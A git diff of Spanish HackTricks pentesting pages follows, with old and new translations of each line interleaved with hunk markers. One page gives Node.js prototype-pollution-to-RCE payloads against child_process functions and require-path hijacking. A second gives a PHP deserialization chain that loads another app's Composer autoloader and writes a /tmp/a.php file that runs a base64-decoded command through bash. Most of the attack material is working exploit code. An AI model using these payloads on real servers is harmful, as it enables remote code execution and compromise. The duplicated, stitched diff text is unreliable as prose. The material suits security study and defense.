<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Código Vulnerable
Imagina un JS real utilizando algún código como el siguiente:
Imagina un JS real que utiliza un código como el siguiente:
```javascript
const { execSync, fork } = require('child_process');
@ -51,9 +51,9 @@ var proc = fork('a_file.js');
```
## PP2RCE a través de variables de entorno
**PP2RCE** significa **Prototype Pollution a RCE** (Ejecución de Código Remoto).
**PP2RCE** significa **Prototype Pollution to RCE** (Ejecución de Código Remoto).
De acuerdo con este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando un **proceso es iniciado** con algún método de **`child_process`** (como `fork`, `spawn` u otros) se llama al método `normalizeSpawnArguments` el cual es un **gadget de prototype pollution para crear nuevas variables de entorno**:
Según este [**informe**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), cuando se **crea un proceso** con algún método de **`child_process`** (como `fork` o `spawn` u otros), se llama al método `normalizeSpawnArguments` que es un **artilugio de prototipos de polución para crear nuevas variables de entorno**:
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -73,17 +73,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
Revisa ese código, puedes ver que es posible **envenenar `envPairs`** simplemente **contaminando** el **atributo `.env`.**
### **Envenenando `__proto__`**
### **Envenenamiento de `__proto__`**
{% hint style="warning" %}
Ten en cuenta que debido a cómo funciona la función **`normalizeSpawnArguments`** de la biblioteca **`child_process`** de node, cuando se llama algo para **establecer una nueva variable de entorno** para el proceso, solo necesitas **contaminar cualquier cosa**.\
Ten en cuenta que debido a cómo funciona la función **`normalizeSpawnArguments`** de la biblioteca **`child_process`** de node, cuando se llama algo para **establecer una nueva variable de entorno** para el proceso, solo necesitas **envenenar cualquier cosa**.\
Por ejemplo, si haces `__proto__.avar="valuevar"`, el proceso se iniciará con una variable llamada `avar` con el valor `valuevar`.
Sin embargo, para que la **variable de entorno sea la primera**, necesitas **contaminar** el **atributo `.env`** y (solo en algunos métodos) esa variable será la **primera** (permitiendo el ataque).
Sin embargo, para que la **variable de entorno sea la primera**, necesitas **envenenar** el **atributo `.env`** y (solo en algunos métodos) esa variable será la **primera** (permitiendo el ataque).
Es por eso que **`NODE_OPTIONS`** **no está dentro de `.env`** en el siguiente ataque.
Por eso **`NODE_OPTIONS`** no está dentro de `.env` en el siguiente ataque.
{% endhint %}
{% code overflow="wrap" %}
@ -131,12 +129,10 @@ var proc = fork('a_file.js');
```
## PP2RCE a través de variables de entorno + línea de comandos
Un payload similar al anterior con algunos cambios fue propuesto en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
Se propuso un payload similar al anterior con algunos cambios en [**este artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Las principales diferencias son:
* En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, lo almacena **dentro de argv0** de **`/proc/self/cmdline`**.
* Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, **requiere `/proc/self/cmdline`**.
{% code overflow="wrap" %}
* En lugar de almacenar el **payload** de nodejs dentro del archivo `/proc/self/environ`, se almacena dentro de **argv0** de **`/proc/self/cmdline`**.
* Luego, en lugar de requerir a través de **`NODE_OPTIONS`** el archivo `/proc/self/environ`, se **requiere `/proc/self/cmdline`**.
```javascript
const { execSync, fork } = require('child_process');
@ -160,9 +156,9 @@ var proc = fork('a_file.js');
```
{% endcode %}
## Interacción DNS
## Interacción con DNS
Usando los siguientes payloads es posible abusar de la variable de entorno NODE\_OPTIONS que hemos discutido previamente y detectar si funcionó con una interacción DNS:
Usando los siguientes payloads es posible abusar de la variable de entorno NODE_OPTIONS que hemos discutido anteriormente y detectar si funcionó con una interacción con DNS:
```json
{
"__proto__": {
@ -172,7 +168,7 @@ Usando los siguientes payloads es posible abusar de la variable de entorno NODE\
}
}
```
O, para evitar WAFs que solicitan el dominio:
O, para evitar que los WAF pidan el dominio:
```json
{
"__proto__": {
@ -182,15 +178,13 @@ O, para evitar WAFs que solicitan el dominio:
}
}
```
## Vulnerabilidad PP2RCE en funciones de child\_process
## Vulnerabilidad PP2RCE en funciones child\_process
En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos usar alguna técnica para forzar a esa función a ejecutar código:
En esta sección vamos a analizar **cada función de `child_process`** para ejecutar código y ver si podemos utilizar alguna técnica para forzar esa función a ejecutar código:
<details>
<summary><code>exec</code> explotación</summary>
{% code overflow="wrap" %}
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
@ -215,13 +209,9 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
```
{% endcode %}
</details>
<details>
<summary><strong>Explotación de <code>execFile</code></strong></summary>
<summary><strong><code>execFile</code> explotación</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
@ -240,8 +230,8 @@ var proc = execFile('/usr/bin/node');
// Windows - not working
```
Para que **`execFile`** funcione **DEBE ejecutar node** para que las NODE\_OPTIONS funcionen.\
Si **no** está ejecutando **node**, necesitas encontrar cómo podrías **alterar la ejecución** de lo que sea que esté ejecutando **con variables de entorno** y configurarlas.
Para que **`execFile`** funcione, **DEBE ejecutar node** para que NODE\_OPTIONS funcione.\
Si **no** está ejecutando **node**, debes encontrar cómo podrías **alterar la ejecución** de lo que sea que se esté ejecutando **con variables de entorno** y configurarlas.
Las **otras** técnicas **funcionan** sin este requisito porque es **posible modificar** **lo que se ejecuta** a través de la contaminación de prototipos. (En este caso, incluso si puedes contaminar `.shell`, no contaminarás lo que se está ejecutando).
@ -249,9 +239,7 @@ Las **otras** técnicas **funcionan** sin este requisito porque es **posible mod
<details>
<summary><code>fork</code> explotación</summary>
{% code overflow="wrap" %}
<summary>Explotación de <code>fork</code></summary>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
@ -289,15 +277,11 @@ b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
```
{% endcode %}
</details>
<details>
<summary><strong><code>spawn</code> explotación</strong></summary>
{% code overflow="wrap" %}
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -334,15 +318,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```
{% endcode %}
</details>
<details>
<summary><strong>Explotación de <code>execFileSync</code></strong></summary>
{% code overflow="wrap" %}
<summary><strong><code>execFileSync</code> explotación</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -381,15 +361,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
```
{% endcode %}
</details>
<details>
<summary><strong><code>execSync</code> explotación</strong></summary>
{% code overflow="wrap" %}
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -427,15 +403,11 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
```
{% endcode %}
</details>
<details>
<summary><strong>Explotación de <code>spawnSync</code></strong></summary>
{% code overflow="wrap" %}
<summary><strong><code>spawnSync</code> explotación</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -485,18 +457,18 @@ var proc = spawnSync('something');
## Forzando Spawn
En los ejemplos anteriores viste cómo desencadenar el gadget; una funcionalidad que **llama a `spawn`** necesita estar **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior eso era **parte del código**, pero ¿qué pasa si el código **no** lo está llamando?
En los ejemplos anteriores viste cómo activar la funcionalidad de un gadget que **llama a `spawn`** necesita estar **presente** (todos los métodos de **`child_process`** utilizados para ejecutar algo lo llaman). En el ejemplo anterior eso era **parte del código**, pero ¿qué pasa si el código **no lo está** llamando?
### Controlando una ruta de archivo require
En este [**otro artículo**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) el usuario puede controlar la ruta del archivo donde se ejecutará un **`require`**. En ese escenario, el atacante solo necesita **encontrar un archivo `.js` dentro del sistema** que **ejecute un método spawn al ser importado.**\
En este [**otro informe**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) el usuario puede controlar la ruta del archivo donde se ejecutará un **`require`**. En ese escenario, el atacante solo necesita **encontrar un archivo `.js` dentro del sistema** que **ejecute un método spawn al ser importado.**\
Algunos ejemplos de archivos comunes que llaman a una función spawn al ser importados son:
* /path/to/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* Encuentra **más archivos abajo**
* Encuentra **más archivos a continuación**
El siguiente script simple buscará **llamadas** de **child\_process** **sin ningún relleno** (para evitar mostrar llamadas dentro de funciones):
El siguiente script simple buscará **llamadas** desde **child\_process** **sin ningún relleno** (para evitar mostrar llamadas dentro de funciones):
{% code overflow="wrap" %}
```bash
@ -523,24 +495,24 @@ done
</details>
### Establecer la ruta del archivo require a través de la contaminación de prototipos
### Estableciendo la ruta del archivo requerido mediante la contaminación de prototipos
{% hint style="warning" %}
La **técnica anterior requiere** que el **usuario controle la ruta del archivo** que va a ser **requerido**. Pero esto no siempre es cierto.
{% endhint %}
Sin embargo, si el código va a ejecutar un require después de la contaminación de prototipos, incluso si **no controlas la ruta** que va a ser requerida, **puedes forzar una diferente abusando de la contaminación de prototipos**. Así que incluso si la línea de código es como `require("./a_file.js")` o `require("bytes")`, requerirá **el paquete que has contaminado**.
Sin embargo, si el código va a ejecutar un require después de la contaminación de prototipos, incluso si **no controlas la ruta** que va a ser requerida, **puedes forzar una diferente abusando de la contaminación de prototipos**. Por lo tanto, aunque la línea de código sea `require("./a_file.js")` o `require("bytes")`, **requerirá el paquete que hayas contaminado**.
Por lo tanto, si se ejecuta un require después de tu contaminación de prototipos y no hay función spawn, este es el ataque:
Por lo tanto, si se ejecuta un require después de tu contaminación de prototipos y no hay una función de ejecución de spawn, este es el ataque:
* Encuentra un archivo **`.js` dentro del sistema** que al ser **requerido** ejecute algo usando `child_process`
* Encuentra un **archivo `.js` dentro del sistema** que cuando sea **requerido** **ejecutará algo usando `child_process`**
* Si puedes subir archivos a la plataforma que estás atacando, podrías subir un archivo así
* Contamina las rutas para **forzar la carga del archivo `.js`** que ejecutará algo con child\_process
* **Contamina el environ/cmdline** para ejecutar código arbitrario cuando se llame a una función de ejecución de child\_process (ver las técnicas iniciales)
* Contamina las rutas para **forzar la carga del require del archivo `.js`** que ejecutará algo con `child_process`
* **Contamina el entorno/cmdline** para ejecutar código arbitrario cuando se llame a una función de ejecución de `child_process` (ver las técnicas iniciales)
#### Require absoluto
Si el require ejecutado es **absoluto** (`require("bytes")`) y el **paquete no contiene main** en el archivo `package.json`, puedes **contaminar el atributo `main`** y hacer que el **require ejecute un archivo diferente**.
Si el require realizado es **absoluto** (`require("bytes")`) y el **paquete no contiene main** en el archivo `package.json`, puedes **contaminar el atributo `main`** y hacer que el **require ejecute un archivo diferente**.
{% tabs %}
{% tab title="exploit" %}
@ -579,10 +551,7 @@ const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");
```
{% endtab %}
{% endtabs %}
#### Relative require - 1
#### Require relativo - 1
Si se carga una **ruta relativa** en lugar de una ruta absoluta, puedes hacer que node **cargue una ruta diferente**:
@ -612,21 +581,16 @@ clone(USERINPUT);
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
```markdown
{% endcode %}
{% endtab %}
{% tab title="malicious.js" %}
```
```javascript
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
```
{% endtab %}
{% endtabs %}
#### Relative require - 2
#### Requerimiento relativo - 2
{% tabs %}
{% tab title="exploit" %}
@ -665,12 +629,9 @@ const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
```
{% endtab %}
{% endtabs %}
#### Require relativo - 3
#### Relative require - 3
Similar al anterior, esto se encontró en [**este writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
Similar al anterior, esto se encontró en [**este informe**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
@ -689,21 +650,21 @@ Object.prototype.env = {
require('./usage.js')
```
## VM Gadgets
## Dispositivos VM
En el paper [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) también se indica que el control de **`contextExtensions`** de algunos métodos de la biblioteca **`vm`** podría usarse como un gadget.\
Sin embargo, como los métodos anteriores de **`child_process`**, ha sido **corregido** en las últimas versiones.
En el documento [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) también se indica que el control de **`contextExtensions`** de algunos métodos de la biblioteca **`vm`** podría ser utilizado como un dispositivo.\
Sin embargo, al igual que los métodos anteriores de **`child_process`**, ha sido **corregido** en las últimas versiones.
## Correcciones & Protecciones inesperadas
## Soluciones y Protecciones inesperadas
Por favor, ten en cuenta que la contaminación de prototipos funciona si el **atributo** de un objeto que se está accediendo es **undefined**. Si en el **código** ese **atributo** tiene un **valor asignado**, **no podrás sobrescribirlo**.
Por favor, ten en cuenta que la contaminación de prototipos funciona si el **atributo** de un objeto al que se accede es **indefinido**. Si en el **código** de ese **atributo** se **asigna** un **valor**, no podrás sobrescribirlo.
En junio de 2022 desde [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) la variable `options` en lugar de ser un `{}` es un **`kEmptyObject`**. Lo cual **previene la contaminación de prototipos** de afectar los **atributos** de **`options`** para obtener RCE.\
Al menos desde la versión 18.4.0 esta protección ha sido **implementada**, y por lo tanto los **exploits** de `spawn` y `spawnSync` que afectan a los métodos **ya no funcionan** (¡si no se usan `options`!).
En junio de 2022, a partir de [**este commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` en lugar de ser `{}` es un **`kEmptyObject`**. Esto **evita que la contaminación de prototipos** afecte a los **atributos** de **`options`** para obtener RCE.\
Al menos a partir de la versión 18.4.0, esta protección ha sido **implementada**, por lo tanto, los **exploits** de `spawn` y `spawnSync` que afectan a los métodos **ya no funcionan** (¡si no se utilizan `options`!).
En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) la **contaminación de prototipos** de **`contextExtensions`** de la biblioteca vm fue **también de cierta forma corregida** estableciendo las opciones a **`kEmptyObject`** en lugar de **`{}`.**
En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) la **contaminación de prototipos** de **`contextExtensions`** de la biblioteca vm también fue **arreglada** estableciendo las opciones a **`kEmptyObject`** en lugar de **`{}`.**
### **Otros Gadgets**
### **Otros Dispositivos**
* [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
@ -716,14 +677,14 @@ En [**este commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
</details>

View file

@ -2,29 +2,29 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Primero, deberías revisar qué son las [**Clases de Autocarga**](https://www.php.net/manual/en/language.oop5.autoload.php).
Primero, debes verificar qué son las [**Clases de Autocarga**](https://www.php.net/manual/en/language.oop5.autoload.php).
## Deserialización en PHP + spl\_autoload\_register + LFI/Gadget
## PHP deserialización + spl\_autoload\_register + LFI/Gadget
Nos encontramos en una situación donde descubrimos una **deserialización en PHP en una webapp** sin ninguna librería vulnerable a gadgets dentro de **`phpggc`**. Sin embargo, en el mismo contenedor había una **webapp de composer diferente con librerías vulnerables**. Por lo tanto, el objetivo era **cargar el cargador de composer de la otra webapp** y abusar de él para **cargar un gadget que explotará esa librería con un gadget** de la webapp vulnerable a la deserialización.
Estamos en una situación donde encontramos una **deserialización de PHP en una aplicación web** sin ninguna biblioteca vulnerable a gadgets dentro de **`phpggc`**. Sin embargo, en el mismo contenedor había una **aplicación web de composer diferente con bibliotecas vulnerables**. Por lo tanto, el objetivo era **cargar el cargador de composer de la otra aplicación web** y abusar de él para **cargar un gadget que explotará esa biblioteca con un gadget** de la aplicación web vulnerable a deserialización.
Pasos:
* Has encontrado una **deserialización** y **no hay ningún gadget** en el código de la app actual
* Has encontrado una **deserialización** y **no hay ningún gadget** en el código de la aplicación actual
* Puedes abusar de una función **`spl_autoload_register`** como la siguiente para **cargar cualquier archivo local con extensión `.php`**
* Para ello utilizas una deserialización donde el nombre de la clase va a estar dentro de **`$name`**. **No puedes usar "/" o "."** en un nombre de clase en un objeto serializado, pero el **código** está **reemplazando** los **guiones bajos** ("\_") **por barras** ("/"). Así que un nombre de clase como `tmp_passwd` se transformará en `/tmp/passwd.php` y el código intentará cargarlo.\
* Para eso, utilizas una deserialización donde el nombre de la clase estará dentro de **`$name`**. **No puedes usar "/" o "."** en un nombre de clase en un objeto serializado, pero el **código** está **reemplazando** los **guiones bajos** ("\_") **por barras** ("/"). Entonces, un nombre de clase como `tmp_passwd` se transformará en `/tmp/passwd.php` y el código intentará cargarlo.\
Un **ejemplo de gadget** sería: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
@ -48,15 +48,15 @@ require __DIR__ . $filename;
});
```
{% hint style="success" %}
Si tienes una **carga de archivo** y puedes subir un archivo con extensión **`.php`**, podrías **abusar de esta funcionalidad directamente** y obtener RCE de inmediato.
Si tienes una **carga de archivos** y puedes subir un archivo con extensión **`.php`**, podrías **abusar directamente de esta funcionalidad** y obtener RCE fácilmente.
{% endhint %}
En mi caso, no tenía algo así, pero había dentro del **mismo contenedor** otra página web de composer con una **librería vulnerable a un gadget de `phpggc`**.
En mi caso, no tenía algo así, pero dentro del **mismo contenedor** había otra página web de composer con una **biblioteca vulnerable a un gadget `phpggc`**.
* Para cargar esta otra librería, primero necesitas **cargar el cargador de composer de esa otra aplicación web** (porque el de la aplicación actual no accederá a las librerías de la otra.) **Conociendo la ruta de la aplicación**, puedes lograr esto muy fácilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (En mi caso, el cargador de composer estaba en `/www/frontend/vendor/autoload.php`)
* Ahora, puedes **cargar el cargador de composer de la otra aplicación**, así que es momento de **`generar el payload de phpgcc`** para usar. En mi caso, utilicé **`Guzzle/FW1`**, que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
* NOTA: El **gadget generado no funcionaba**, para que funcionara **modifiqué** ese payload **`chain.php`** de phpggc y cambié **todos los atributos** de las clases **de privados a públicos**. Si no, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
* Ahora tenemos la manera de **cargar el cargador de composer de la otra aplicación** y tenemos un **payload de phpggc que funciona**, pero necesitamos **hacer esto en la MISMA SOLICITUD para que el cargador esté cargado cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
* Para cargar esta otra biblioteca, primero necesitas **cargar el cargador de composer de esa otra aplicación web** (porque el de la aplicación actual no accederá a las bibliotecas de la otra). **Conociendo la ruta de la aplicación**, puedes lograrlo muy fácilmente con: **`O:28:"www_frontend_vendor_autoload":0:{}`** (En mi caso, el cargador de composer estaba en `/www/frontend/vendor/autoload.php`)
* Ahora, puedes **cargar** el cargador de **la otra aplicación**, así que es hora de **`generar el payload de phpgcc`** a utilizar. En mi caso, utilicé **`Guzzle/FW1`**, lo que me permitió **escribir cualquier archivo dentro del sistema de archivos**.
* NOTA: El **gadget generado no funcionaba**, para que funcionara **modifiqué** ese payload **`chain.php`** de phpggc y establecí **todos los atributos** de las clases **de privados a públicos**. De lo contrario, después de deserializar la cadena, los atributos de los objetos creados no tenían ningún valor.
* Ahora tenemos la forma de **cargar el cargador de la otra aplicación** y tener un **payload de phpggc que funcione**, pero necesitamos **hacer esto en la MISMA PETICIÓN para que el cargador se cargue cuando se use el gadget**. Para eso, envié un array serializado con ambos objetos como:
* Puedes ver **primero el cargador siendo cargado y luego el payload**
{% code overflow="wrap" %}
@ -65,31 +65,19 @@ a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
```
{% endcode %}
* Ahora, podemos **crear y escribir un archivo**, sin embargo, el usuario **no podía escribir en ninguna carpeta dentro del servidor web**. Entonces, como puedes ver en el payload, PHP llama a **`system`** con algo de **base64** que se crea en **`/tmp/a.php`**. Luego, podemos **reutilizar el primer tipo de payload** que usamos como LFI para cargar el cargador de composer de la otra webapp para **cargar el archivo generado `/tmp/a.php`**. Solo agrégalo al gadget de deserialización:&#x20;
* Ahora, podemos **crear y escribir un archivo**, sin embargo, el usuario **no pudo escribir en ninguna carpeta dentro del servidor web**. Entonces, como se puede ver en la carga útil, PHP llama a **`system`** con algún **base64** creado en **`/tmp/a.php`**. Luego, podemos **reutilizar el primer tipo de carga útil** que usamos como LFI para cargar el cargador de composer de la otra aplicación web **para cargar el archivo `/tmp/a.php`** generado. Simplemente agréguelo al gadget de deserialización:&#x20;
{% code overflow="wrap" %}
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**Resumen del payload**
{% endcode %}
* **Cargar el autoload de composer** de otra aplicación web en el mismo contenedor
* **Cargar un gadget de phpggc** para abusar de una biblioteca de la otra aplicación web (la aplicación web inicial vulnerable a la deserialización no tenía ningún gadget en sus bibliotecas)
* El gadget **creará un archivo con un payload PHP** en él en /tmp/a.php con comandos maliciosos (el usuario de la aplicación web no puede escribir en ninguna carpeta de ninguna aplicación web)
* La parte final de nuestro payload usará **cargar el archivo php generado** que ejecutará comandos
**Resumen de la carga útil**
* **Cargar el autoload de Composer** de una aplicación web diferente en el mismo contenedor
* **Cargar un gadget phpggc** para abusar de una biblioteca de la otra aplicación web (la aplicación web inicial vulnerable a la deserialización no tenía ningún gadget en sus bibliotecas)
* El gadget **creará un archivo con una carga útil de PHP** en /tmp/a.php con comandos maliciosos (el usuario de la aplicación web no puede escribir en ninguna carpeta de ninguna aplicación web)
* La parte final de nuestra carga útil usará **cargar el archivo php generado** que ejecutará comandos
Necesité **llamar a esta deserialización dos veces**. En mis pruebas, la primera vez se creó el archivo `/tmp/a.php` pero no se cargó, y la segunda vez se cargó correctamente.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
